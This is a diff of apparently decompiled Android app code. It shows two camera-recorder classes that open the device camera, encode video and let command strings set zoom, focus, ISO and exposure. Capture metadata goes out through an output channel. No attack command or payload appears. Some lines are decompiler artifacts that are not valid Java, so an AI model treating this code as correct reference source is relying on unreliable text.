||||
if (stream.anyMatch(new Predicate() { // from class: com.nvav.srv.recorder.CameraHUAWEIn$$ExternalSyntheticLambda0
|
||||
@Override // java.util.function.Predicate
|
||||
public final boolean test(Object obj) {
|
||||
boolean equals;
|
||||
equals = str2.equals((String) obj);
|
||||
return equals;
|
||||
}
|
||||
})) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
this.mCameraManager.openCamera(this.CamResFPS[1], this.mDeviceListener, this.mHandler);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
public CameraHUAWEIn(CameraManager cameraManager, Speek speek, String str, Comand comand) {
|
||||
this.CamResFPS = str.split(";");
|
||||
this.comand = comand;
|
||||
comand.WriteOut(String.format("result=%s", str));
|
||||
this.speek = speek;
|
||||
StartRestart();
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public void Stop() {
|
||||
try {
|
||||
this.mMediaCodec.signalEndOfInputStream();
|
||||
this.mCamera.close();
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
byte[] putInt(int i) {
|
||||
return ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(i).array();
|
||||
}
|
||||
|
||||
private Point toThis(Point point) {
|
||||
Rect rect = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
point.x = ((point.x * rect.width()) / this.MaxSize.getWidth()) + rect.left;
|
||||
point.y = ((point.y * rect.height()) / this.MaxSize.getHeight()) + rect.top;
|
||||
return point;
|
||||
}
|
||||
|
||||
private String ZoomNew(String str) {
|
||||
try {
|
||||
float parseInt = ((Integer.parseInt(str) * (((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue() - 1.0f)) / 100.0f) + 1.0f;
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
int width = rect.width() / 2;
|
||||
int height = rect.height() / 2;
|
||||
int width2 = (int) ((rect.width() * 0.5f) / parseInt);
|
||||
int height2 = (int) ((rect.height() * 0.5f) / parseInt);
|
||||
Rect rect2 = new Rect(width - width2, height - height2, width + width2, height + height2);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect2);
|
||||
setParams();
|
||||
return String.format("Zoom x%f (%dx%d) %s [%d,%d,%d,%d]", Float.valueOf(parseInt), Integer.valueOf(rect2.centerX()), Integer.valueOf(rect2.centerY()), str, Integer.valueOf(rect2.left), Integer.valueOf(rect2.top), Integer.valueOf(rect2.right), Integer.valueOf(rect2.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String ZoomPlus(String str, double d) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
float floatValue = ((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue();
|
||||
Rect rect2 = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
String[] split = str.split(",");
|
||||
Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1])));
|
||||
int round = (int) Math.round(rect2.width() * d);
|
||||
int round2 = (int) Math.round(rect2.height() * d);
|
||||
if (round < rect.width() / floatValue) {
|
||||
round = (int) (rect.width() / floatValue);
|
||||
}
|
||||
if (round2 < rect.height() / floatValue) {
|
||||
round2 = (int) (rect.height() / floatValue);
|
||||
}
|
||||
Rect rect3 = new Rect(point.x - (round / 2), point.y - (round2 / 2), point.x + (round / 2), point.y + (round2 / 2));
|
||||
if (rect3.left < 0) {
|
||||
rect3.right -= rect3.left;
|
||||
rect3.left = 0;
|
||||
}
|
||||
if (rect3.top < 0) {
|
||||
rect3.bottom -= rect3.top;
|
||||
rect3.top = 0;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect3);
|
||||
setParams();
|
||||
return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", Integer.valueOf((int) Math.round((rect.width() * rect.height()) / (rect3.width() * rect3.height()))), Integer.valueOf(rect3.centerX()), Integer.valueOf(rect3.centerY()), Integer.valueOf(rect3.left), Integer.valueOf(rect3.top), Integer.valueOf(rect3.right), Integer.valueOf(rect3.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String BrightPlus() {
|
||||
String str = "";
|
||||
try {
|
||||
int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() + 1;
|
||||
if (intValue > 4) {
|
||||
intValue = 4;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue));
|
||||
str = String.format("Brightness %d", Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return str;
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String BrightMinus() {
|
||||
String str = "";
|
||||
try {
|
||||
int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() - 1;
|
||||
if (intValue < -4) {
|
||||
intValue = -4;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue));
|
||||
str = String.format("Brightness %d", Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return str;
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String WhileBlack() {
|
||||
String str = "";
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue() == 0 ? 1 : 0));
|
||||
str = "Black and white.";
|
||||
setParams();
|
||||
return "Black and white.";
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String ZoomMinus(String str) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, new Rect(0, 0, rect.right, rect.bottom));
|
||||
setParams();
|
||||
return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", 1, Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(rect.left), Integer.valueOf(rect.top), Integer.valueOf(rect.right), Integer.valueOf(rect.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String Monochrom(String str) {
|
||||
int i = !str.equals("0");
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(i));
|
||||
setParams();
|
||||
return i == 1 ? "Monochrom enable." : "Monochrom disable.";
|
||||
}
|
||||
|
||||
private Rect getRect(String str) {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
String[] split = str.split(",");
|
||||
int parseInt = Integer.parseInt(split[2]);
|
||||
int parseInt2 = Integer.parseInt(split[3]);
|
||||
if (parseInt > rect.width()) {
|
||||
parseInt = rect.width();
|
||||
}
|
||||
if (parseInt2 > rect.height()) {
|
||||
parseInt2 = rect.height();
|
||||
}
|
||||
Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1])));
|
||||
int i = parseInt / 2;
|
||||
int i2 = parseInt2 / 2;
|
||||
Rect rect2 = new Rect(point.x - i, point.y - i2, point.x + i, point.y + i2);
|
||||
if (rect2.top < rect.top) {
|
||||
rect2.bottom -= rect2.top - rect.top;
|
||||
rect2.top = rect.top;
|
||||
}
|
||||
if (rect2.left < rect.left) {
|
||||
rect2.right -= rect2.left - rect.left;
|
||||
rect2.left = rect.left;
|
||||
}
|
||||
if (rect2.bottom > rect.bottom) {
|
||||
rect2.bottom = rect.bottom;
|
||||
}
|
||||
if (rect2.right > rect.right) {
|
||||
rect2.right = rect.right;
|
||||
}
|
||||
return rect2;
|
||||
}
|
||||
|
||||
private String AF(String str) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 2);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0);
|
||||
setParams();
|
||||
Rect rect2 = getRect(str);
|
||||
if (rect.contains(rect2)) {
|
||||
rect = rect2;
|
||||
}
|
||||
MeteringRectangle[] meteringRectangleArr = {new MeteringRectangle(rect, 0)};
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, meteringRectangleArr);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 1);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 1);
|
||||
setParams();
|
||||
return String.format("AF: %dx%d [%d,%d,%d,%d,%d]", Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(meteringRectangleArr[0].getX()), Integer.valueOf(meteringRectangleArr[0].getY()), Integer.valueOf(meteringRectangleArr[0].getWidth()), Integer.valueOf(meteringRectangleArr[0].getHeight()), Integer.valueOf(meteringRectangleArr[0].getMeteringWeight()));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String Focus(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0);
|
||||
float parseFloat = (Float.parseFloat(str) * ((Float) this.properties.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE)).floatValue()) / 1000.0f;
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(parseFloat));
|
||||
setParams();
|
||||
return String.format("Focus: %f", Float.valueOf(parseFloat));
|
||||
}
|
||||
|
||||
private String Sensitivity(String str) {
|
||||
int parseInt = Integer.parseInt(str);
|
||||
Range range = (Range) this.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
|
||||
int intValue = ((Integer) range.getLower()).intValue() + ((parseInt * (((Integer) this.properties.get(CameraCharacteristics.SENSOR_MAX_ANALOG_SENSITIVITY)).intValue() - ((Integer) range.getLower()).intValue())) / 100);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return String.format("Sensitivity: %d", Integer.valueOf(intValue));
|
||||
}
|
||||
|
||||
private String ISO(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("ISO: %s", str);
|
||||
}
|
||||
|
||||
private String FPS(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, Long.valueOf(1000000000 / Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("FPS: %s", str);
|
||||
}
|
||||
|
||||
private String Exposure(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, Long.valueOf(1000000000 / Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("Exposure: %s", str);
|
||||
}
|
||||
|
||||
private String AE() {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 1);
|
||||
setParams();
|
||||
return "Enable AE";
|
||||
}
|
||||
|
||||
private String UserMode(String str) {
|
||||
String trim = str.trim();
|
||||
if (trim.length() > 0) {
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 0);
|
||||
setParams();
|
||||
int parseInt = Integer.parseInt(trim);
|
||||
if (parseInt == 0) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 1);
|
||||
} else {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 2);
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_SCENE_MODE, Integer.valueOf(parseInt));
|
||||
setParams();
|
||||
return String.format("User mode: %s", trim);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private String ABW(String str) {
|
||||
String trim = str.trim();
|
||||
if (trim.length() > 0) {
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AWB_MODE, Integer.valueOf(Integer.parseInt(trim) + 1));
|
||||
setParams();
|
||||
return String.format("ABW: %s", trim);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public String SetCommand(String str, String str2) {
|
||||
return str.equals("ZoomPlus") ? ZoomPlus(str2, 0.75d) : str.equals("ZoomMinus") ? ZoomMinus(str2) : str.equals("Zoom") ? ZoomNew(str2) : str.equals("Monochrom") ? Monochrom(str2) : str.equals("WhileBlack") ? WhileBlack() : str.equals("BrightPlus") ? BrightPlus() : str.equals("BrightMinus") ? BrightMinus() : str.equals("Move") ? ZoomPlus(str2, 1.0d) : str.equals("AF") ? AF(str2) : str.equals("Focus") ? Focus(str2) : str.equals("ABW") ? ABW(str2) : str.equals("User_Mode") ? UserMode(str2) : str.equals("Exposure") ? Exposure(str2) : str.equals("Sensitivity") ? Sensitivity(str2) : str.equals("AE") ? AE() : str.equals("SetISO") ? ISO(str2) : str.equals("SetFPS") ? FPS(str2) : str;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int MinISO() {
|
||||
return this.MinISO;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int MaxISO() {
|
||||
return this.MaxISO;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int FPS() {
|
||||
return this.FPS;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,650 @@
|
||||
package com.nvav.srv.recorder;
|
||||
|
||||
import android.graphics.Point;
|
||||
import android.graphics.Rect;
|
||||
import android.hardware.camera2.CameraAccessException;
|
||||
import android.hardware.camera2.CameraCaptureSession;
|
||||
import android.hardware.camera2.CameraCharacteristics;
|
||||
import android.hardware.camera2.CameraConstrainedHighSpeedCaptureSession;
|
||||
import android.hardware.camera2.CameraDevice;
|
||||
import android.hardware.camera2.CameraManager;
|
||||
import android.hardware.camera2.CaptureFailure;
|
||||
import android.hardware.camera2.CaptureRequest;
|
||||
import android.hardware.camera2.CaptureResult;
|
||||
import android.hardware.camera2.TotalCaptureResult;
|
||||
import android.hardware.camera2.params.MeteringRectangle;
|
||||
import android.hardware.camera2.params.StreamConfigurationMap;
|
||||
import android.media.MediaCodec;
|
||||
import android.media.MediaCrypto;
|
||||
import android.media.MediaFormat;
|
||||
import android.os.Handler;
|
||||
import android.os.HandlerThread;
|
||||
import android.util.Log;
|
||||
import android.util.Range;
|
||||
import android.util.Size;
|
||||
import android.view.Surface;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.UUID;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class CameraRecord implements ICameraRecord {
|
||||
static boolean Starting;
|
||||
int BitRate;
|
||||
int FrameRate;
|
||||
Size MaxSize;
|
||||
Size SizeImage;
|
||||
Comand comand;
|
||||
private byte[] config;
|
||||
int endkey;
|
||||
int hiSpeed;
|
||||
private String id;
|
||||
private MediaCodec.BufferInfo mBufferInfo;
|
||||
CameraDevice mCamera;
|
||||
final CameraManager mCameraManager;
|
||||
private CameraCaptureSession.CaptureCallback mCaptureCallback;
|
||||
private final CameraDevice.StateCallback mDeviceListener;
|
||||
Handler mHandler;
|
||||
MediaCodec mMediaCodec;
|
||||
List<Surface> mOutputSurfaces;
|
||||
CaptureRequest.Builder mRecordingRequestBuilder;
|
||||
private Surface mRecordingSurface;
|
||||
Thread mRecordingThread;
|
||||
private CameraCaptureSession mSession;
|
||||
private CameraConstrainedHighSpeedCaptureSession mSessionHI;
|
||||
HandlerThread mThread;
|
||||
ByteArrayOutputStream output;
|
||||
CameraCharacteristics properties;
|
||||
CameraCaptureSession.StateCallback sessionListener;
|
||||
private int countSend = 0;
|
||||
public int MinISO = 0;
|
||||
public int MaxISO = 0;
|
||||
public int FPS = 30;
|
||||
|
||||
/* JADX INFO: Access modifiers changed from: private */
|
||||
public void setParams() {
|
||||
try {
|
||||
if (this.hiSpeed > 0) {
|
||||
this.mSessionHI.setRepeatingBurst(this.mSessionHI.createHighSpeedRequestList(this.mRecordingRequestBuilder.build()), this.mCaptureCallback, this.mHandler);
|
||||
} else {
|
||||
this.mSession.setRepeatingRequest(this.mRecordingRequestBuilder.build(), this.mCaptureCallback, this.mHandler);
|
||||
}
|
||||
} catch (CameraAccessException unused) {
|
||||
}
|
||||
}
|
||||
|
||||
public CameraRecord(CameraManager cameraManager, int i, int i2, Comand comand, int i3, Size size) {
|
||||
CameraDevice.StateCallback stateCallback = new CameraDevice.StateCallback() { // from class: com.nvav.srv.recorder.CameraRecord.1
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onError(CameraDevice cameraDevice, int i4) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onOpened(CameraDevice cameraDevice) {
|
||||
try {
|
||||
CameraRecord.this.mCamera = cameraDevice;
|
||||
CameraRecord cameraRecord = CameraRecord.this;
|
||||
cameraRecord.properties = cameraRecord.mCameraManager.getCameraCharacteristics(CameraRecord.this.mCamera.getId());
|
||||
CameraRecord cameraRecord2 = CameraRecord.this;
|
||||
cameraRecord2.MinISO = ((Integer) ((Range) cameraRecord2.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE)).getLower()).intValue();
|
||||
CameraRecord cameraRecord3 = CameraRecord.this;
|
||||
cameraRecord3.MaxISO = ((Integer) ((Range) cameraRecord3.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE)).getUpper()).intValue();
|
||||
Size[] outputSizes = ((StreamConfigurationMap) CameraRecord.this.properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(MediaCodec.class);
|
||||
CameraRecord.this.MaxSize = null;
|
||||
for (Size size2 : outputSizes) {
|
||||
if (size2.getWidth() == CameraRecord.this.SizeImage.getWidth() && size2.getHeight() == CameraRecord.this.SizeImage.getHeight()) {
|
||||
CameraRecord.this.MaxSize = size2;
|
||||
}
|
||||
}
|
||||
if (CameraRecord.this.MaxSize == null) {
|
||||
CameraRecord.this.MaxSize = outputSizes[8];
|
||||
}
|
||||
MediaFormat createVideoFormat = MediaFormat.createVideoFormat("video/avc", CameraRecord.this.MaxSize.getWidth(), CameraRecord.this.MaxSize.getHeight());
|
||||
createVideoFormat.setInteger("color-format", 2130708361);
|
||||
createVideoFormat.setInteger("bitrate", CameraRecord.this.BitRate);
|
||||
createVideoFormat.setInteger("frame-rate", CameraRecord.this.FrameRate);
|
||||
createVideoFormat.setInteger("i-frame-interval", 1);
|
||||
CameraRecord.this.mMediaCodec = MediaCodec.createEncoderByType("video/avc");
|
||||
CameraRecord.this.mMediaCodec.configure(createVideoFormat, (Surface) null, (MediaCrypto) null, 1);
|
||||
CameraRecord cameraRecord4 = CameraRecord.this;
|
||||
cameraRecord4.mRecordingSurface = cameraRecord4.mMediaCodec.createInputSurface();
|
||||
CameraRecord.this.mOutputSurfaces.add(CameraRecord.this.mRecordingSurface);
|
||||
if (CameraRecord.this.hiSpeed > 0) {
|
||||
CameraRecord.this.mCamera.createConstrainedHighSpeedCaptureSession(CameraRecord.this.mOutputSurfaces, CameraRecord.this.sessionListener, CameraRecord.this.mHandler);
|
||||
} else {
|
||||
CameraRecord.this.mCamera.createCaptureSession(CameraRecord.this.mOutputSurfaces, CameraRecord.this.sessionListener, CameraRecord.this.mHandler);
|
||||
}
|
||||
CameraRecord.this.mMediaCodec.start();
|
||||
} catch (Exception e) {
|
||||
CameraRecord.this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onClosed(CameraDevice cameraDevice) {
|
||||
try {
|
||||
if (CameraRecord.this.mMediaCodec != null) {
|
||||
CameraRecord.this.mMediaCodec.stop();
|
||||
CameraRecord.this.mMediaCodec.release();
|
||||
if (CameraRecord.this.mRecordingSurface != null) {
|
||||
CameraRecord.this.mRecordingSurface.release();
|
||||
CameraRecord.this.mRecordingSurface = null;
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
CameraRecord.this.comand.WriteErr(e);
|
||||
}
|
||||
try {
|
||||
CameraRecord.this.mOutputSurfaces.remove(CameraRecord.this.mRecordingSurface);
|
||||
CameraRecord.this.mOutputSurfaces.clear();
|
||||
CameraRecord.this.mOutputSurfaces = null;
|
||||
} catch (Exception e2) {
|
||||
CameraRecord.this.comand.WriteErr(e2);
|
||||
}
|
||||
CameraRecord.this.mMediaCodec = null;
|
||||
CameraRecord.this.mCamera = null;
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onDisconnected(CameraDevice cameraDevice) {
|
||||
CameraRecord.this.mCamera.close();
|
||||
}
|
||||
};
|
||||
this.mDeviceListener = stateCallback;
|
||||
this.sessionListener = new CameraCaptureSession.StateCallback() { // from class: com.nvav.srv.recorder.CameraRecord.2
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onConfigureFailed(CameraCaptureSession cameraCaptureSession) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onConfigured(CameraCaptureSession cameraCaptureSession) {
|
||||
try {
|
||||
if (CameraRecord.this.hiSpeed > 0) {
|
||||
CameraRecord.this.mSessionHI = (CameraConstrainedHighSpeedCaptureSession) cameraCaptureSession;
|
||||
} else {
|
||||
CameraRecord.this.mSession = cameraCaptureSession;
|
||||
}
|
||||
CameraRecord cameraRecord = CameraRecord.this;
|
||||
cameraRecord.mRecordingRequestBuilder = cameraRecord.mCamera.createCaptureRequest(3);
|
||||
CameraRecord.this.mRecordingRequestBuilder.addTarget(CameraRecord.this.mRecordingSurface);
|
||||
if (CameraRecord.this.hiSpeed == 1) {
|
||||
CameraRecord.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, new Range(120, 120));
|
||||
CameraRecord.this.FPS = 120;
|
||||
} else if (CameraRecord.this.hiSpeed == 2) {
|
||||
CameraRecord.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, new Range(240, 240));
|
||||
CameraRecord.this.FPS = 240;
|
||||
}
|
||||
CameraRecord.this.setParams();
|
||||
CameraRecord.this.mRecordingThread = new Thread() { // from class: com.nvav.srv.recorder.CameraRecord.2.1
|
||||
@Override // java.lang.Thread, java.lang.Runnable
|
||||
public void run() {
|
||||
while (CameraRecord.Starting) {
|
||||
try {
|
||||
CameraRecord.this.encode(false);
|
||||
sleep(1L);
|
||||
} catch (Exception e) {
|
||||
CameraRecord.this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
CameraRecord.this.mRecordingThread.start();
|
||||
} catch (Exception e) {
|
||||
CameraRecord.this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onActive(CameraCaptureSession cameraCaptureSession) {
|
||||
Log.d("CameraCaptureSession ac", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onClosed(CameraCaptureSession cameraCaptureSession) {
|
||||
try {
|
||||
CameraRecord.this.mRecordingRequestBuilder.removeTarget(CameraRecord.this.mRecordingSurface);
|
||||
CameraRecord.this.mRecordingRequestBuilder = null;
|
||||
CameraRecord.this.mHandler = null;
|
||||
} catch (Exception e) {
|
||||
CameraRecord.this.comand.WriteErr(e);
|
||||
}
|
||||
Log.d("CameraCaptureSession cl", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
try {
|
||||
CameraRecord.this.mThread.interrupt();
|
||||
CameraRecord.this.mThread = null;
|
||||
} catch (Exception e2) {
|
||||
CameraRecord.this.comand.WriteErr(e2);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onReady(CameraCaptureSession cameraCaptureSession) {
|
||||
Log.d("CameraCaptureSession re", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
}
|
||||
};
|
||||
this.mCaptureCallback = new CameraCaptureSession.CaptureCallback() { // from class: com.nvav.srv.recorder.CameraRecord.3
|
||||
long time_out_param = System.currentTimeMillis();
|
||||
double lat = 0.0d;
|
||||
double lon = 0.0d;
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureFailed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureFailure captureFailure) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureSequenceAborted(CameraCaptureSession cameraCaptureSession, int i4) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureSequenceCompleted(CameraCaptureSession cameraCaptureSession, int i4, long j) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureStarted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, long j, long j2) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureCompleted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, TotalCaptureResult totalCaptureResult) {
|
||||
if (System.currentTimeMillis() - this.time_out_param > 200) {
|
||||
String format = String.format("%f;%f;%d;%d;%.2f;%f;%d", Double.valueOf(this.lat), Double.valueOf(this.lon), totalCaptureResult.get(CaptureResult.SENSOR_SENSITIVITY), Long.valueOf(1000000000 / ((Long) totalCaptureResult.get(CaptureResult.SENSOR_FRAME_DURATION)).longValue()), totalCaptureResult.get(CaptureResult.LENS_APERTURE), totalCaptureResult.get(CaptureResult.LENS_FOCUS_DISTANCE), totalCaptureResult.get(CaptureResult.SENSOR_EXPOSURE_TIME));
|
||||
CameraRecord.this.comand.WriteOut(ByteBuffer.allocate(format.length() + 1).put((byte) 77).put(format.getBytes()).array());
|
||||
this.time_out_param = System.currentTimeMillis();
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureProgressed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureResult captureResult) {
|
||||
Log.d("CameraCaptureSession pr", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
}
|
||||
};
|
||||
this.mOutputSurfaces = new ArrayList(1);
|
||||
this.hiSpeed = 0;
|
||||
this.endkey = 0;
|
||||
this.output = new ByteArrayOutputStream();
|
||||
this.SizeImage = size;
|
||||
this.hiSpeed = i3;
|
||||
this.comand = comand;
|
||||
Starting = true;
|
||||
this.id = UUID.randomUUID().toString();
|
||||
this.mCameraManager = cameraManager;
|
||||
this.BitRate = i;
|
||||
this.FrameRate = i2;
|
||||
try {
|
||||
this.mBufferInfo = new MediaCodec.BufferInfo();
|
||||
HandlerThread handlerThread = new HandlerThread("CameraThread");
|
||||
this.mThread = handlerThread;
|
||||
handlerThread.start();
|
||||
this.mHandler = new Handler(this.mThread.getLooper());
|
||||
cameraManager.openCamera(cameraManager.getCameraIdList()[0], stateCallback, this.mHandler);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public void Stop() {
|
||||
try {
|
||||
